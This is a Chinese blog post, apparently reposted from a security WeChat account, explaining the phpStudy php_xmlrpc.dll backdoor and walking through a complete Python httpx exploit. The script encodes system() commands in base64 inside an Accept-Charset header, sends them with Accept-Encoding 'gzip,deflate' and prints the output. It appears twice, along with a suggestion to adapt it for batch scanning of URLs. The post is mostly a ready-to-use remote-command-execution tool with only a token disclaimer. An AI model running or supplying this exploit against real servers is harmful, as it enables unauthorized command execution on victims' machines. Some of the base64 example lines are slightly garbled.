在编写此文章前,先介绍一下相关基础知识:
Python3的环境安装我就不介绍了,下面着重介绍一下httpx和base64的介绍和基础安装和用法:
- httpx:是 Python 3 的全功能 HTTP 客户端,它提供同步和异步 API,并支持 HTTP/1.1 和 HTTP/2。
HTTPX 建立在公认的可用性之上requests,并为您提供:
- 广泛兼容请求的 API。
- 标准同步接口,但如果需要,可以支持异步。
- HTTP/1.1和 HTTP/2 支持。
- 能够直接向WSGI 应用程序或ASGI 应用程序发出请求。
- 到处都是严格的超时。
- 完全类型注释。
- 100% 的测试覆盖率。
加上requests...的所有标准功能
- 国际域名和 URL
- 保持活动和连接池
- 具有 Cookie 持久性的会话
- 浏览器式 SSL 验证
- 基本/摘要认证
- 优雅的键/值 Cookie
- 自动减压
- 自动内容解码
- Unicode 响应体
- 多部分文件上传
- HTTP(S) 代理支持
- 连接超时
- 流式下载
- .netrc 支持
- 分块请求
2、base64:是一种用64个字符来表示任意二进制数据的方法。
用记事本打开exe、jpg、pdf这些文件时,我们都会看到一大堆乱码,因为二进制文件包含很多无法显示和打印的字符,所以,如果要让记事本这样的文本处理软件能处理二进制数据,就需要一个二进制到字符串的转换方法。Base64是一种最常见的二进制编码方法。
Python内置的base64
可以直接进行base64的编解码:
import base64
b'binaryx00string') //加密 base64.b64encode(
b'YmluYXJ5AHN0cmluZw=='
b'YmluYXJ5AHN0cmluZw==') //解密 base64.b64decode(
b'binaryx00string'
这里为什么要讲base64呢?是因为构造exp请求头ACCEPT_CHARSE的内容是base64加密的。我们输入命令的时候是cmd系统命令,而读取ACCEPT_CHARSE的内容做base64解密既是我们要执行的命令,系统会自己解密一次,那我们先输入cmd命令使用python的base64模块加密一次发送请求,服务器收到后自己再解密一次,即系统就执行了我们输入的cmd命令。
主要目的:对一台带有phpstudy后门的虚拟机,利用httpx构造攻击包并发起请求,获取响应内容中的执行结果。
漏洞形成原因:后门隐藏在程序自带的php的php_xmlrpc.dll模块,此文件查找@eval,文件存在@eval(%s(‘%s’)),根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0
判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。(那么我们可以构造http请求头触发)
Exp测试利用环境:
- Python3的环境
- 安装httpx、base64模块
- Phpstudy2016(目前已知受影响的:phpStudy版本、phpstudy 2016版php-5.4、phpstudy 2018版php-5.2.17、phpstudy 2018版php-5.4.45)
- Windows10虚拟机一台
使用 pip 安装 HTTPX:
$ pip install httpx
Python3内置了base64模块:
安装phpstudy(含后门版本)
万事俱备下面进入正题开始写代码:
#引用python相关模块
import httpx
import base64
import sys
#需要检测的url服务器地址,必须是一个www目录下能访问到的
url = r"http://192.168.1.22/index.php"
#做个提示语免责声明,也希望大家不要将安全工具用于正途
logo = r'''
#########################################
# 这是一个针对PHPSTUDY后门的EXP利用工具 #
# 免责声明:请勿进行非授权攻击!#
#########################################
'''
print(logo)
#循环语句,输入exit跳出循环,否则进行判断
while True:
command = input("请输入想要执行的系统命令(输入exit退出):")
if "exit" not in command:
#构造exp对输入的系统命令进行utf-8加密处理在进行解密处理在进行base64加密
exp = base64.b64encode(("system('%s');" % command).encode('utf-8')).decode()
#字典形式添加构造http请求头触发Accept-Encoding": "gzip,deflate", "Accept-Charset": exp用于触发zend_eval_strings()函数可以执行任意恶意代码
headers = {"Accept-Encoding": "gzip,deflate", "Accept-Charset": exp}
#将构造的http请求头添加到httpx模块发起的一个get请求的headers里面
req = httpx.get(url, headers=headers)
#获取请求后返回的数据,因为是windows系统需要进行gb2312解码
strHTML = req.content.decode('GB2312')
print(strHTML)
#跳出循环,退出程序
else:
sys.exit()
执行系统命令效果:
这里注意有一点坑就是url需要在代码里面添加,大家可以自行yongpython改一下做成批量检测url,然后必须访问一个WWW文件下的文件
源码如下:
import httpx
import base64
import sys
url = r"http://192.168.1.22/index.php"
logo = r'''
#########################################
# 这是一个针对PHPSTUDY后门的EXP利用工具 #
# 免责声明:请勿进行非授权攻击!#
#########################################
'''
print(logo)
while True:
command = input("请输入想要执行的系统命令(输入exit退出):")
if "exit" not in command:
exp = base64.b64encode(("system('%s');" % command).encode('utf-8')).decode()
headers = {"Accept-Encoding": "gzip,deflate", "Accept-Charset": exp}
req = httpx.get(url, headers=headers)
strHTML = req.content.decode('GB2312')
print(strHTML)
else:
sys.exit()
原文始发于微信公众号(YKCC安全):Python安全开发 | PHPstudy后门检测EXP编写
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论